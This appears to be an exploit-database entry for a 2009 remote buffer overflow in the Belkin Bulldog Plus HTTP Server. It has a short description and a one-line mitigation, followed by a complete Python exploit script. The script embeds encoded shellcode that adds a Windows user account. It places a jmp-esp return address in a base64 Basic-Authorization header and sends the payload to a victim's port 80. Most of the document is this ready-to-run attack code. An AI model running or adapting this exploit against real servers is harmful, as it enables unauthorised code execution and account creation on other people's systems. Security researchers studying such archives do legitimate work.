Belkin Bulldog Plus HTTP Server Remote Buffer Overflow Exploit

vendor:

Bulldog Plus HTTP Server

by:

His0k4

9,3

CVSS

HIGH

Buffer Overflow

119

CWE

Product Name: Bulldog Plus HTTP Server

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: YES

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows XP

2009

Belkin Bulldog Plus HTTP Server Remote Buffer Overflow Exploit

This exploit is a buffer overflow vulnerability in the Belkin Bulldog Plus HTTP Server. It allows an attacker to execute arbitrary code on the vulnerable system by sending a specially crafted HTTP request. The vulnerability is caused due to a boundary error when handling the 'username' parameter in the '/login.rsp' script. This can be exploited to cause a stack-based buffer overflow by sending an overly long string in the 'username' parameter.

Mitigation:

The vendor has released a patch to address this vulnerability.

Source

Exploit-DB raw data:

#!/usr/bin/python
# _  _   _         __    _     _ _  
#| || | (_)  ___  /  \  | |__ | | | 
#| __ | | | (_-< | () | | / / |_  _|
#|_||_| |_| /__/  \__/  |_\_\   |_| 
#
#[*] Usage   : belkin.py [victime_ip]
#[*] Bug     : Belkin Bulldog Plus HTTP Server Remote Buffer Overflow Exploit
#[*] Credits go to : Elazar Broad
#[*] Tested on :    Xp sp3 (EN)(VB)
#[*] Exploited by : His0k4
#[*] Greetings :    All friends & muslims HaCkErs (DZ),snakespc.com
#[*] Chabiba wa sayd el ba7ri :D

import sys, socket
import base64

host = sys.argv[1] 
port = 80

# win32_adduser -  PASS=27 EXITFUNC=seh USER=DZ Size=477 Encoder=PexAlphaNum http://metasploit.com
shellcode=(
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x54"
"\x42\x30\x42\x50\x42\x30\x4b\x38\x45\x34\x4e\x43\x4b\x58\x4e\x37"
"\x45\x50\x4a\x47\x41\x30\x4f\x4e\x4b\x38\x4f\x34\x4a\x31\x4b\x58"
"\x4f\x35\x42\x42\x41\x30\x4b\x4e\x49\x54\x4b\x48\x46\x33\x4b\x48"
"\x41\x50\x50\x4e\x41\x43\x42\x4c\x49\x49\x4e\x4a\x46\x58\x42\x4c"
"\x46\x57\x47\x50\x41\x4c\x4c\x4c\x4d\x50\x41\x50\x44\x4c\x4b\x4e"
"\x46\x4f\x4b\x53\x46\x45\x46\x32\x46\x30\x45\x57\x45\x4e\x4b\x48"
"\x4f\x45\x46\x42\x41\x50\x4b\x4e\x48\x36\x4b\x58\x4e\x30\x4b\x34"
"\x4b\x58\x4f\x35\x4e\x31\x41\x30\x4b\x4e\x4b\x38\x4e\x41\x4b\x38"
"\x41\x30\x4b\x4e\x49\x38\x4e\x55\x46\x42\x46\x30\x43\x4c\x41\x53"
"\x42\x4c\x46\x46\x4b\x48\x42\x34\x42\x53\x45\x48\x42\x4c\x4a\x37"
"\x4e\x30\x4b\x58\x42\x34\x4e\x30\x4b\x48\x42\x57\x4e\x41\x4d\x4a"
"\x4b\x38\x4a\x46\x4a\x50\x4b\x4e\x49\x50\x4b\x38\x42\x58\x42\x4b"
"\x42\x50\x42\x30\x42\x50\x4b\x48\x4a\x46\x4e\x53\x4f\x45\x41\x53"
"\x48\x4f\x42\x46\x48\x45\x49\x38\x4a\x4f\x43\x58\x42\x4c\x4b\x37"
"\x42\x35\x4a\x36\x42\x4f\x4c\x38\x46\x50\x4f\x55\x4a\x56\x4a\x39"
"\x50\x4f\x4c\x48\x50\x30\x47\x45\x4f\x4f\x47\x4e\x43\x56\x4d\x56"
"\x46\x56\x50\x32\x45\x56\x4a\x57\x45\x36\x42\x32\x4f\x52\x43\x56"
"\x42\x52\x50\x36\x45\x46\x46\x57\x42\x42\x45\x37\x43\x47\x45\x46"
"\x44\x57\x42\x42\x46\x34\x4c\x55\x42\x42\x44\x43\x47\x53\x42\x52"
"\x4f\x52\x41\x54\x46\x44\x46\x34\x42\x32\x48\x42\x48\x42\x42\x52"
"\x50\x36\x45\x36\x46\x57\x42\x52\x4e\x36\x4f\x56\x43\x56\x41\x46"
"\x4e\x56\x47\x36\x44\x57\x4f\x56\x45\x57\x42\x57\x42\x32\x41\x54"
"\x46\x36\x4d\x36\x49\x46\x50\x46\x49\x46\x43\x57\x46\x57\x44\x37"
"\x41\x46\x46\x37\x4f\x46\x44\x37\x43\x47\x42\x32\x46\x54\x4c\x35"
"\x42\x52\x4f\x42\x41\x54\x46\x44\x46\x54\x42\x50\x5a")

jump="\xFF\x54\x24\x58" #Jump to the GET request wich contains our shellcode.

ret="\xFF\x17\x49\x7E" #Friendly jmp esp "user32.dll".

junk = "\x41"*16

exploit1 = base64.encodestring(ret + jump + junk)
exploit2 = shellcode

head =  'GET '+exploit2+' HTTP/1.1\r\n'
head += 'Authorization: Basic '+exploit1+'\r\n\r\n'

s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send(head)

# milw0rm.com [2009-04-27]